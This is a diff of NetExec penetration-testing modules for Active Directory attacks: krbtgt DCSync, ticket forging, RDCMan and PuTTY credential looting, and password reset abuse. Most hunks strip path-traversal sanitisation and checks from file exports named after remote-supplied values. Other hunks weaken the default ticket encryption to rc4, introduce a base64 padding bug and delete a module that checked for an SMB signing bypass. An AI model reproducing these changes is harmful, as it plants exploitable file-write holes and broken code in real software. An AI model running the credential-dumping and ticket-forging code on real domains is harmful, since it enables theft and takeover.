||||
from os.path import join
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
import socket
|
||||
|
||||
@@ -73,7 +71,7 @@ class NXCModule:
|
||||
|
||||
if answers:
|
||||
obsolete_hosts_count = len(answers)
|
||||
filename = join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}.obsoletehosts.txt"))
|
||||
filename = f"{NXC_PATH}/logs/{connection.domain}.obsoletehosts.txt"
|
||||
context.log.display(f"{obsolete_hosts_count} Obsolete hosts will be saved to {filename}")
|
||||
with open(filename, "w") as f:
|
||||
for dns_hostname, ip_address, os, pwd_last_set_readable in answers:
|
||||
|
||||
@@ -1,8 +1,6 @@
|
||||
from os import makedirs
|
||||
from os.path import join
|
||||
from pathlib import Path
|
||||
from os.path import join, abspath
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
from io import BytesIO
|
||||
|
||||
@@ -48,12 +46,9 @@ class NXCModule:
|
||||
for line in file_content.splitlines():
|
||||
context.log.highlight(f"\t{line}")
|
||||
if self.export:
|
||||
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_powershell_history.txt")
|
||||
filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt"
|
||||
export_path = join(NXC_PATH, "modules", "powershell_history")
|
||||
path = Path(export_path, filename).resolve()
|
||||
if Path(export_path).resolve() not in path.parents:
|
||||
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
|
||||
continue
|
||||
path = abspath(join(export_path, filename))
|
||||
makedirs(export_path, exist_ok=True)
|
||||
try:
|
||||
with open(path, "w+") as file:
|
||||
|
||||
@@ -1,11 +1,9 @@
|
||||
import os
|
||||
from pathlib import Path
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGT
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.krb5.types import Principal
|
||||
from impacket.krb5 import constants
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
@@ -56,7 +54,7 @@ class NXCModule:
|
||||
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
|
||||
|
||||
# Save computers to file
|
||||
domain_dir = os.path.join(NXC_PATH, "modules", "pre2k", sanitize_path_component(connection.domain))
|
||||
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
|
||||
output_file_pre2k = os.path.join(domain_dir, "precreated_computers.txt")
|
||||
output_file_non_pre2k = os.path.join(domain_dir, "non_precreated_computers.txt")
|
||||
|
||||
@@ -139,10 +137,7 @@ class NXCModule:
|
||||
try:
|
||||
ccache = CCache()
|
||||
ccache.fromTGT(ticket, sessionKey, sessionKey)
|
||||
ccache_filename = Path(ccache_base_dir, sanitize_path_component(f"{username}.ccache")).resolve()
|
||||
if Path(ccache_base_dir).resolve() not in ccache_filename.parents:
|
||||
context.log.fail(f"Path traversal detected in ticket filename for {username!r}, skipping")
|
||||
return
|
||||
ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache")
|
||||
ccache.saveFile(ccache_filename)
|
||||
context.log.info(f"Saved ticket in {ccache_filename}")
|
||||
except Exception as e:
|
||||
|
||||
+5
-47
@@ -1,5 +1,4 @@
|
||||
import re
|
||||
from types import SimpleNamespace
|
||||
from impacket.dcerpc.v5 import samr, tsch
|
||||
from impacket.dcerpc.v5 import tsts as TSTS
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
@@ -21,46 +20,11 @@ class NXCModule:
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
ALTUSER Alternative domain user to enumerate admin groups with
|
||||
ALTPASS Password for ALTUSER
|
||||
ALTDOMAIN Domain FQDN of the alternative credentials
|
||||
ALTDC DC IP
|
||||
|
||||
When alternative credentials are supplied, Domain and Enterprise Admins are enumerated over SAMR against the DC using those credentials, rather than the local administrator session (which cannot enumerate these groups).
|
||||
"""
|
||||
self.altuser = module_options.get("ALTUSER")
|
||||
self.altpass = module_options.get("ALTPASS")
|
||||
self.altdomain = module_options.get("ALTDOMAIN")
|
||||
self.altdc = module_options.get("ALTDC")
|
||||
|
||||
alt_creds = [self.altuser, self.altpass, self.altdomain]
|
||||
if any(alt_creds) and not all(alt_creds):
|
||||
context.log.fail("ALTUSER, ALTPASS, and ALTDOMAIN must be specified together")
|
||||
return False
|
||||
"""There are no module options."""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
try:
|
||||
if self.altuser and self.altpass and self.altdomain:
|
||||
context.log.info(f"Using alternative domain credentials: {self.altdomain}\\{self.altuser}")
|
||||
alt_connection = SimpleNamespace(
|
||||
username=self.altuser,
|
||||
password=self.altpass,
|
||||
domain=self.altdomain,
|
||||
lmhash="",
|
||||
nthash="",
|
||||
aesKey=None,
|
||||
kerberos=False,
|
||||
kdcHost=self.altdc,
|
||||
conn=None,
|
||||
host=self.altdc,
|
||||
remoteName=self.altdc,
|
||||
port=445,
|
||||
)
|
||||
admin_users = self.enumerate_admin_users(context, alt_connection)
|
||||
else:
|
||||
admin_users = self.enumerate_admin_users(context, connection)
|
||||
|
||||
admin_users = self.enumerate_admin_users(context, connection)
|
||||
if not admin_users:
|
||||
context.log.fail("No admin users found.")
|
||||
return
|
||||
@@ -184,18 +148,12 @@ class NXCModule:
|
||||
context.log.debug(f"Enumerated {len(processes)} processes on {connection.host}")
|
||||
|
||||
for process in processes:
|
||||
info = process.getProcessInfo()
|
||||
image_name = info["ImageName"].getValue()
|
||||
pid = info["UniqueProcessId"]
|
||||
session_id = info["SessionId"]
|
||||
psid = process.getSid()
|
||||
context.log.debug(f"ImageName: {image_name}, UniqueProcessId: {pid}, SessionId: {session_id}, pSid: {psid}")
|
||||
|
||||
context.log.debug(f"ImageName: {process['ImageName']}, UniqueProcessId: {process['SessionId']}, pSid: {process['pSid']}")
|
||||
# Check if process SID matches any admin user SID
|
||||
for user in admin_users:
|
||||
if psid == user["sid"]:
|
||||
if process["pSid"] == user["sid"]:
|
||||
user["in_tasks"] = True
|
||||
context.log.info(f"Matched process {image_name} with user {user['username']}")
|
||||
context.log.info(f"Matched process {process['ImageName']} with user {user['username']}")
|
||||
|
||||
def check_scheduled_tasks(self, context, connection, admin_users):
|
||||
"""Checks scheduled tasks over rpc."""
|
||||
|
||||
@@ -6,10 +6,8 @@ from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from os import makedirs
|
||||
from pathlib import Path
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
import re
|
||||
|
||||
@@ -162,10 +160,7 @@ class NXCModule:
|
||||
makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
|
||||
share = session["private_key_path"].split(":")[0] + "$"
|
||||
file_path = session["private_key_path"].split(":")[1]
|
||||
download_path = Path(NXC_PATH, "modules", "PuTTY", sanitize_path_component(f"putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec")).resolve()
|
||||
if Path(NXC_PATH, "modules", "PuTTY").resolve() not in download_path.parents:
|
||||
self.context.log.fail(f"Path traversal detected in PuTTY session {session['session_name']!r}, skipping")
|
||||
continue
|
||||
download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec"
|
||||
|
||||
buf = BytesIO()
|
||||
with open(download_path, "wb") as file:
|
||||
|
||||
+34
-10
@@ -2,6 +2,7 @@ import os
|
||||
import datetime
|
||||
import re
|
||||
from contextlib import suppress
|
||||
from impacket.smbconnection import SMBConnection
|
||||
from impacket.examples.secretsdump import RemoteOperations, NTDSHashes
|
||||
from impacket.dcerpc.v5.drsuapi import DCERPCSessionError
|
||||
from calendar import timegm
|
||||
@@ -19,7 +20,6 @@ from impacket.dcerpc.v5.samr import GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GRO
|
||||
from impacket.dcerpc.v5.dtypes import SID, RPC_SID, NULL
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.smb import get_smb_connection
|
||||
|
||||
# Encryption type configurations: enctype, checksum, signature size, session key size
|
||||
ETYPE_CONFIG = {
|
||||
@@ -49,7 +49,7 @@ class NXCModule:
|
||||
self.krbtgt_hash = ""
|
||||
self.aes128_key = ""
|
||||
self.aes256_key = ""
|
||||
self.etype = "aes256"
|
||||
self.etype = "rc4"
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -59,7 +59,7 @@ class NXCModule:
|
||||
USER Target username to forge the ticket for (default: Administrator)
|
||||
USER_ID RID used as the user ID in the PAC (default: 500)
|
||||
RID RID used for the extra SID (default: 519 = Enterprise Admins)
|
||||
ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: aes256)
|
||||
ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: rc4)
|
||||
|
||||
Examples:
|
||||
netexec ldap <ip> -u <username> -p <password> -M raisechild -o USER=DC01$
|
||||
@@ -69,7 +69,7 @@ class NXCModule:
|
||||
"""
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.etype = module_options.get("ETYPE", "aes256").lower()
|
||||
self.etype = module_options.get("ETYPE", "rc4").lower()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.context = context
|
||||
@@ -133,6 +133,32 @@ class NXCModule:
|
||||
else:
|
||||
self.context.log.fail("Could not retrieve child domain SID from connection.")
|
||||
|
||||
def _get_smb_session(self, ldap_conn):
|
||||
smb = SMBConnection(
|
||||
remoteName=ldap_conn.hostname,
|
||||
remoteHost=ldap_conn.host,
|
||||
sess_port=445,
|
||||
)
|
||||
|
||||
if ldap_conn.kerberos:
|
||||
smb.kerberosLogin(
|
||||
user=ldap_conn.username,
|
||||
password=ldap_conn.password,
|
||||
domain=ldap_conn.domain,
|
||||
lmhash=ldap_conn.lmhash,
|
||||
nthash=ldap_conn.nthash,
|
||||
aesKey=ldap_conn.aesKey,
|
||||
kdcHost=ldap_conn.kdcHost,
|
||||
useCache=ldap_conn.use_kcache,
|
||||
)
|
||||
elif ldap_conn.nthash or ldap_conn.lmhash:
|
||||
# NTLM pass-the-hash
|
||||
smb.login(ldap_conn.username, "", ldap_conn.domain, lmhash=ldap_conn.lmhash, nthash=ldap_conn.nthash)
|
||||
else:
|
||||
# NTLM with cleartext password
|
||||
smb.login(ldap_conn.username, ldap_conn.password, ldap_conn.domain)
|
||||
return smb
|
||||
|
||||
def _get_domain_netbios(self, ldap_conn):
|
||||
resp = ldap_conn.search(
|
||||
baseDN=f"CN=Partitions,{ldap_conn.configuration_context}",
|
||||
@@ -199,13 +225,11 @@ class NXCModule:
|
||||
|
||||
def get_krbtgt_hash(self, connection):
|
||||
try:
|
||||
smb_conn = get_smb_connection(self.context, connection)
|
||||
smb_conn = self._get_smb_session(connection)
|
||||
self._dcsync_krbtgt(smb_conn, connection)
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Error during DCSync: {e}")
|
||||
return
|
||||
if not smb_conn:
|
||||
return
|
||||
self._dcsync_krbtgt(smb_conn, connection)
|
||||
|
||||
if (self.etype == "rc4" and self.krbtgt_hash) or (self.etype == "aes128" and self.aes128_key) or (self.etype == "aes256" and self.aes256_key):
|
||||
try:
|
||||
@@ -276,7 +300,7 @@ class NXCModule:
|
||||
def _createBasicValidationInfo(self, username: str, domain: str, domain_sid: str, groups: list[int], user_rid: int) -> VALIDATION_INFO:
|
||||
kerbdata = KERB_VALIDATION_INFO()
|
||||
|
||||
now_utc = datetime.datetime.now(datetime.UTC)
|
||||
now_utc = datetime.datetime.now(datetime.timezone.utc)
|
||||
now_unix = timegm(now_utc.timetuple())
|
||||
now_filetime = self._getFileTime(now_unix)
|
||||
|
||||
@@ -427,7 +451,7 @@ class NXCModule:
|
||||
pac_infos[PAC_LOGON_INFO] = validation_info.getData() + validation_info.getDataReferents()
|
||||
|
||||
def _buildEncParts(self, as_rep: AS_REP, domain: str, username: str, duration_hours: int, enctype_value: int, pac_infos: dict, key_size: int) -> tuple[EncASRepPart, EncTicketPart, dict]:
|
||||
now_utc = datetime.datetime.now(datetime.UTC)
|
||||
now_utc = datetime.datetime.now(datetime.timezone.utc)
|
||||
end_utc = now_utc + datetime.timedelta(hours=duration_hours)
|
||||
|
||||
enc_ticket_part = EncTicketPart()
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import base64
|
||||
from Cryptodome.Cipher import AES
|
||||
from Crypto.Cipher import AES
|
||||
from io import BytesIO
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
@@ -83,6 +83,6 @@ class NXCModule:
|
||||
return crypter.decrypt(buf).decode("utf-8")
|
||||
|
||||
def base64_urlsafedecode(self, string):
|
||||
padding = (4 - len(string) % 4) % 4
|
||||
padding = 4 - (len(string) % 4)
|
||||
string += "=" * padding
|
||||
return base64.urlsafe_b64decode(string)
|
||||
+33
-6
@@ -1,28 +1,55 @@
|
||||
from dploot.triage.rdg import RDGTriage, RDGServerProfile
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "rdcman"
|
||||
description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials"
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
self.pvkbytes = get_domain_backup_key(connection)
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success("Looting RDCMan secrets")
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting RDCMan secrets")
|
||||
|
||||
try:
|
||||
triage = RDGTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys)
|
||||
triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys)
|
||||
rdcman_files, rdgfiles = triage.triage_rdcman()
|
||||
for rdcman_file in rdcman_files:
|
||||
if rdcman_file is None:
|
||||
@@ -31,7 +58,7 @@ class NXCModule:
|
||||
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
|
||||
if isinstance(rdg_cred, RDGServerProfile):
|
||||
log_text = f"{rdg_cred.server_name} - {log_text}"
|
||||
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
|
||||
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
|
||||
for rdgfile in rdgfiles:
|
||||
if rdgfile is None:
|
||||
continue
|
||||
@@ -39,6 +66,6 @@ class NXCModule:
|
||||
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
|
||||
if isinstance(rdg_cred, RDGServerProfile):
|
||||
log_text = f"{rdg_cred.server_name} - {log_text}"
|
||||
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
|
||||
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot RDCMan secrets: {e}")
|
||||
+3
-14
@@ -1,6 +1,6 @@
|
||||
from sys import exit
|
||||
|
||||
from nxc.helpers.rpc import dcom_FirewallChecker
|
||||
from nxc.connection import dcom_FirewallChecker
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
@@ -101,8 +101,7 @@ class NXCModule:
|
||||
context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
|
||||
else:
|
||||
context.log.fail(str(e))
|
||||
if wmi_rdp._RdpWmi__dcom is not None:
|
||||
wmi_rdp._RdpWmi__dcom.disconnect()
|
||||
wmi_rdp._RdpWmi__dcom.disconnect()
|
||||
|
||||
|
||||
class RdpSmb:
|
||||
@@ -223,16 +222,7 @@ class RdpWmi:
|
||||
self.__aesKey = connection.aesKey
|
||||
self.__timeout = timeout
|
||||
|
||||
self.__dcom = None
|
||||
if self.__currentprotocol == "wmi":
|
||||
# The wmi protocol already holds an authenticated IWbemLevel1Login:
|
||||
# reuse it instead of creating a second DCOMConnection to the same
|
||||
# target (whose disconnect would clash with the protocol's own)
|
||||
self.__iWbemLevel1Login = connection.iWbemLevel1Login
|
||||
return
|
||||
|
||||
try:
|
||||
*_, tgt, _ = connection.conn.getCredentials()
|
||||
self.__dcom = DCOMConnection(
|
||||
self.__target,
|
||||
self.__username,
|
||||
@@ -245,12 +235,11 @@ class RdpWmi:
|
||||
doKerberos=self.__doKerberos,
|
||||
kdcHost=self.__kdcHost,
|
||||
remoteHost=self.__remoteHost,
|
||||
TGT=tgt,
|
||||
)
|
||||
|
||||
i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
if self.__currentprotocol == "smb":
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout, self.logger)
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout)
|
||||
if not flag or not self.__stringBinding:
|
||||
error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
|
||||
|
||||
|
||||
@@ -1,144 +0,0 @@
|
||||
import binascii
|
||||
import contextlib
|
||||
|
||||
from impacket import ntlm
|
||||
from impacket.smb3 import SMB2SessionSetup, SMB2SessionSetup_Response
|
||||
from impacket.smb3structs import SMB2_SESSION_SETUP
|
||||
from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.smb import get_smb_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module made by: Lyderic Lefebvre (@aas_s3curity) - https://blackfield.ch
|
||||
|
||||
Check if an SMB server still allows a cross-user re-authentication swap on an existing session:
|
||||
log in as one account, then re-authenticate as a different one on the same connection. That swap
|
||||
is the primitive an auth relay uses to keep a privileged session under a signing key it controls,
|
||||
defeating enforced SMB signing. Recent Windows builds allow same-user re-auth only and refuse the
|
||||
swap with ACCESS_DENIED. Microsoft fixed this server-side as CVE-2026-69676 (September 2026
|
||||
cumulative updates). Not derivable from the build number (feature-flagged: the same build can
|
||||
allow or refuse it), so it is probed live.
|
||||
https://blackfield.ch/blog/defeating-enforced-smb-signing/
|
||||
"""
|
||||
name = "reauth_swap"
|
||||
description = "Check if the server allows a cross-user re-auth swap on an SMB session (used to defeat enforced signing); needs a 2nd account"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
STATUS_SUCCESS = 0x00000000
|
||||
STATUS_MORE_PROCESSING_REQUIRED = 0xC0000016
|
||||
STATUS_ACCESS_DENIED = 0xC0000022
|
||||
STATUS_LOGON_FAILURE = 0xC000006D
|
||||
STATUS_ACCOUNT_LOCKED_OUT = 0xC0000234
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
PROBE_USER second account, must differ from the login account (required)
|
||||
PROBE_PASS second account password
|
||||
PROBE_NTHASH second account NT hash (instead of PROBE_PASS)
|
||||
|
||||
The second account is probed over NTLM; its privileges do not matter.
|
||||
|
||||
Lockout warning: every target triggers one real NTLM logon as PROBE_USER
|
||||
(in the login account's domain). A correct password never increments
|
||||
badPwdCount, whether the host is patched (ACCESS_DENIED) or not (SUCCESS).
|
||||
A wrong PROBE_PASS/PROBE_NTHASH, or a PROBE_USER that does not exist in that
|
||||
domain, returns LOGON_FAILURE and raises badPwdCount once per host.
|
||||
Validate PROBE_USER on a single host before running wide.
|
||||
"""
|
||||
self.probe_user = module_options.get("PROBE_USER")
|
||||
self.probe_pass = module_options.get("PROBE_PASS", "")
|
||||
self.probe_nthash = module_options.get("PROBE_NTHASH", "")
|
||||
if not self.probe_user:
|
||||
context.log.fail("reauth_swap requires a second account: -o PROBE_USER=<user> PROBE_PASS=<pass> (must differ from the account nxc logged in with)")
|
||||
return False
|
||||
if not self.probe_pass and not self.probe_nthash:
|
||||
context.log.fail("reauth_swap requires PROBE_PASS or PROBE_NTHASH for the second account")
|
||||
return False
|
||||
|
||||
def on_login(self, context, connection):
|
||||
if self.probe_user.lower() == (connection.username or "").lower():
|
||||
context.log.fail("PROBE_USER must differ from the account nxc logged in with: only a cross-user swap is refused, so the same account always succeeds and tests nothing")
|
||||
return
|
||||
|
||||
# without enforced signing there is nothing to bypass: a relayed auth is accepted directly
|
||||
if not connection.signing:
|
||||
context.log.info("SMB signing not enforced, nothing to bypass - skipping")
|
||||
return
|
||||
|
||||
try:
|
||||
# fresh session so nxc's own connection is left untouched
|
||||
new_conn = get_smb_connection(context, connection, timeout=connection.args.smb_timeout)
|
||||
try:
|
||||
status = self.reauth_as(new_conn.getSMBServer(), self.probe_user, self.probe_pass, connection.domain, self.probe_nthash)
|
||||
finally:
|
||||
with contextlib.suppress(Exception):
|
||||
new_conn.close()
|
||||
except Exception as e:
|
||||
context.log.fail(f"could not probe this host: {e.__class__.__name__}: {e}")
|
||||
return
|
||||
|
||||
if status == self.STATUS_SUCCESS:
|
||||
context.log.highlight("VULNERABLE - enforced SMB signing bypassable")
|
||||
context.log.highlight("Next step: https://blackfield.ch/blog/defeating-enforced-smb-signing/")
|
||||
elif status == self.STATUS_ACCESS_DENIED:
|
||||
context.log.display("not vulnerable - cross-user re-auth swap refused (ACCESS_DENIED), same-user re-auth only")
|
||||
elif status == self.STATUS_LOGON_FAILURE:
|
||||
context.log.fail("PROBE_USER login failed (LOGON_FAILURE) - stop before repeated attempts lock the account out")
|
||||
elif status == self.STATUS_ACCOUNT_LOCKED_OUT:
|
||||
context.log.fail("PROBE_USER is locked out (ACCOUNT_LOCKED_OUT) - stop and let it reset")
|
||||
else:
|
||||
context.log.display(f"inconclusive - second session setup returned 0x{status:08X}")
|
||||
|
||||
def reauth_as(self, smb, user, password, domain, nthash):
|
||||
"""Replay an NTLM (Type1/Type3) session setup as `user` on an EXISTING session; return the NTSTATUS."""
|
||||
# Create NTLM Type1 message (challenge)
|
||||
type1 = ntlm.getNTLMSSPType1("", domain)
|
||||
blob = SPNEGO_NegTokenInit()
|
||||
blob["MechTypes"] = [TypesMech["NTLMSSP - Microsoft NTLM Security Support Provider"]]
|
||||
blob["MechToken"] = type1.getData()
|
||||
|
||||
setup = SMB2SessionSetup()
|
||||
setup["Flags"] = 0
|
||||
setup["SecurityMode"] = 1
|
||||
setup["SecurityBufferLength"] = len(blob.getData())
|
||||
setup["Buffer"] = blob.getData()
|
||||
pkt = smb.SMB_PACKET()
|
||||
pkt["Command"] = SMB2_SESSION_SETUP
|
||||
pkt["Data"] = setup
|
||||
|
||||
ans = smb.recvSMB(smb.sendSMB(pkt))
|
||||
if ans["Status"] != self.STATUS_MORE_PROCESSING_REQUIRED:
|
||||
return ans["Status"]
|
||||
|
||||
resp = SMB2SessionSetup_Response(ans["Data"])
|
||||
try:
|
||||
type2 = SPNEGO_NegTokenResp(resp["Buffer"])["ResponseToken"]
|
||||
except Exception:
|
||||
raw = resp["Buffer"]
|
||||
type2 = raw[raw.index(b"NTLMSSP"):]
|
||||
|
||||
lm = nt = ""
|
||||
if nthash:
|
||||
lm = binascii.unhexlify("aad3b435b51404eeaad3b435b51404ee")
|
||||
nt = binascii.unhexlify(nthash)
|
||||
|
||||
# Create NTLM Type3 message (authentication)
|
||||
type3, _ = ntlm.getNTLMSSPType3(type1, type2, user, password, domain, lmhash=lm, nthash=nt)
|
||||
blob2 = SPNEGO_NegTokenResp()
|
||||
blob2["ResponseToken"] = type3.getData()
|
||||
|
||||
setup2 = SMB2SessionSetup()
|
||||
setup2["Flags"] = 0
|
||||
setup2["SecurityMode"] = 1
|
||||
setup2["SecurityBufferLength"] = len(blob2.getData())
|
||||
setup2["Buffer"] = blob2.getData()
|
||||
|
||||
pkt2 = smb.SMB_PACKET()
|
||||
pkt2["Command"] = SMB2_SESSION_SETUP
|
||||
pkt2["Data"] = setup2
|
||||
|
||||
ans2 = smb.recvSMB(smb.sendSMB(pkt2))
|
||||
return ans2["Status"]
|
||||
@@ -1,9 +1,7 @@
|
||||
from os import makedirs
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
from os.path import join
|
||||
from pathlib import Path
|
||||
from os.path import join, abspath
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.dcerpc.v5.rrp import DCERPCSessionError
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
@@ -75,11 +73,8 @@ class NXCModule:
|
||||
|
||||
# Formatting the destination filename
|
||||
file_path = path.split("$")[-1].replace("/", "_")
|
||||
filename = sanitize_path_component(f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}")
|
||||
dest_path = Path(export_path, filename).resolve()
|
||||
if Path(export_path).resolve() not in dest_path.parents:
|
||||
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
|
||||
continue
|
||||
filename = f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}"
|
||||
dest_path = abspath(join(export_path, filename))
|
||||
try:
|
||||
with open(dest_path, "wb+") as file:
|
||||
connection.conn.getFile("C$", path, file.write)
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
import sys
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.types import Principal
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGT, KerberosError
|
||||
@@ -25,7 +26,6 @@ class NXCModule:
|
||||
self.new_password = None
|
||||
self.upn_user = None
|
||||
self.upn_password = None
|
||||
self.upn_nthash = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -36,22 +36,19 @@ class NXCModule:
|
||||
NEW_PASSWORD New password to set on TARGET
|
||||
UPN_USER sAMAccountName of a controlled account you can write a userPrincipalName to (not the login account)
|
||||
UPN_PASSWORD Cleartext password of UPN_USER
|
||||
UPN_NTHASH NT Hash of UPN_USER
|
||||
|
||||
Examples:
|
||||
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_PASSWORD='Passw0rd!'
|
||||
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_NTHASH='31d6cfe0d16ae931b73c59d7e0c089c0'
|
||||
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=DC01$ NEW_PASSWORD='NewPass!' UPN_USER=controlled$ UPN_PASSWORD='Passw0rd!'
|
||||
"""
|
||||
self.target = module_options.get("TARGET")
|
||||
self.new_password = module_options.get("NEW_PASSWORD")
|
||||
self.upn_user = module_options.get("UPN_USER")
|
||||
self.upn_password = module_options.get("UPN_PASSWORD", "")
|
||||
self.upn_nthash = module_options.get("UPN_NTHASH", "")
|
||||
self.upn_password = module_options.get("UPN_PASSWORD")
|
||||
|
||||
if not all([self.target, self.new_password, self.upn_user, self.upn_password or self.upn_nthash]):
|
||||
context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and either UPN_PASSWORD or UPN_NTHASH are all required")
|
||||
return False
|
||||
if not all([self.target, self.new_password, self.upn_user, self.upn_password]):
|
||||
context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and UPN_PASSWORD are all required")
|
||||
sys.exit(1)
|
||||
|
||||
def resolve_account(self, sam):
|
||||
response = self.connection.search(searchFilter=f"(sAMAccountName={sam})", attributes=["distinguishedName"])
|
||||
@@ -88,7 +85,7 @@ class NXCModule:
|
||||
